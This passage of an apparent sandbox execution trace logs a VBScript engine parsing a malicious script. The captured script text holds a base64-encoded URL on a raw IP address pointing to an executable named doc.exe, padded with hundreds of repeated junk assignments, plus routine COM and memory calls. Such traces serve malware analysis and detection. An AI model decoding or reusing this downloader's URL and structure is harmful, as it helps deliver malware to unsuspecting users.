\"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"243", pstrItemName=0x0, punkContext=0x0, pstrDelimiter=0x0, dwSourceContextCookie=0x0, ulStartingLineNumber=0x5, dwFlags=0x42, pvarResult=0x0, pexcepinfo=0x0 | out: pvarResult=0x0, pexcepinfo=0x0) returned 0x0 [0088.537] GetCurrentThreadId () returned 0xd44 [0088.537] realloc (_Block=0x0, _Size=0xc8) returned 0x8474be8 [0088.537] ??2@YAPAXI@Z () returned 0x86bfdc0 [0088.538] malloc (_Size=0x804) returned 0x119a768 [0088.547] free (_Block=0x8474be8) [0088.547] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0088.547] GetUserDefaultLCID () returned 0x409 [0088.547] GetACP () returned 0x4e4 [0088.548] ISystemDebugEventFire:EndSession (This=0x6bcaca0) returned 0x0 [0088.548] IUnknown:Release (This=0x6bcaca0) returned 0x1 [0088.548] VBScriptEngine5:IUnknown:Release (This=0x83fd504) returned 0x2 [0088.548] IUnknown:Release (This=0x6bcaca0) returned 0x0 [0088.548] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0088.548] VBScriptEngine5:IUnknown:Release (This=0x83fd4f8) returned 0x1 [0088.548] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0088.593] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0088.597] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0088.639] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154768 | out: ppv=0x154768*=0x846e118) returned 0x0 [0088.639] ??2@YAPAXI@Z () returned 0x846e118 [0088.639] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e118, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x0) returned 0x80004002 [0088.640] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e118, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154774 | out: ppvObject=0x154774*=0x11a99c0) returned 0x0 [0088.640] ??2@YAPAXI@Z () returned 0x11a99c0 [0088.640] GetUserDefaultLCID () returned 0x409 [0088.640] GetACP () returned 0x4e4 [0088.640] VBScriptEngine5:IUnknown:Release (This=0x846e118) returned 0x0 [0088.640] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x154798 | out: ppvObject=0x154798*=0x11a99c0) returned 0x0 [0088.640] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0088.641] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0088.641] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0088.641] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d258 | out: ppvObject=0x846d258*=0x11a99c4) returned 0x0 [0088.641] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0088.641] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4f8) returned 0x0 [0088.641] GetCurrentThreadId () returned 0xd44 [0088.641] ??2@YAPAXI@Z () returned 0x1186b60 [0088.641] ??2@YAPAXI@Z () returned 0x83fd368 [0088.641] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0088.641] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4f8) returned 0x2 [0088.641] IActiveScriptSite:GetLCID (in: This=0x83fd4f8, plcid=0x154760 | out: plcid=0x154760*=0x800) returned 0x0 [0088.641] GetSystemDefaultLCID () returned 0x409 [0088.641] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x154730, cchData=6 | out: lpLCData="1252") returned 5 [0088.641] IsValidCodePage (CodePage=0x4e4) returned 1 [0088.642] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0088.642] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd504) returned 0x0 [0088.642] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd504, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0088.642] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6bcaca0) returned 0x0 [0088.642] IUnknown:AddRef (This=0x6bcaca0) returned 0x2 [0088.642] ISystemDebugEventFire:BeginSession (This=0x6bcaca0, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12298853") returned 0x0 [0088.643] VBScriptEngine5:IActiveScriptParse32:ParseScriptText (in: This=0x11a99c4, pstrCode="\r\nfsdfdsfs = \"aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=\" '9vnw9r\r\nyulkytjtrhtjrkdsarjky =\"ZG9jLmV4ZQ==\" '9vnw9r\r\n\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = 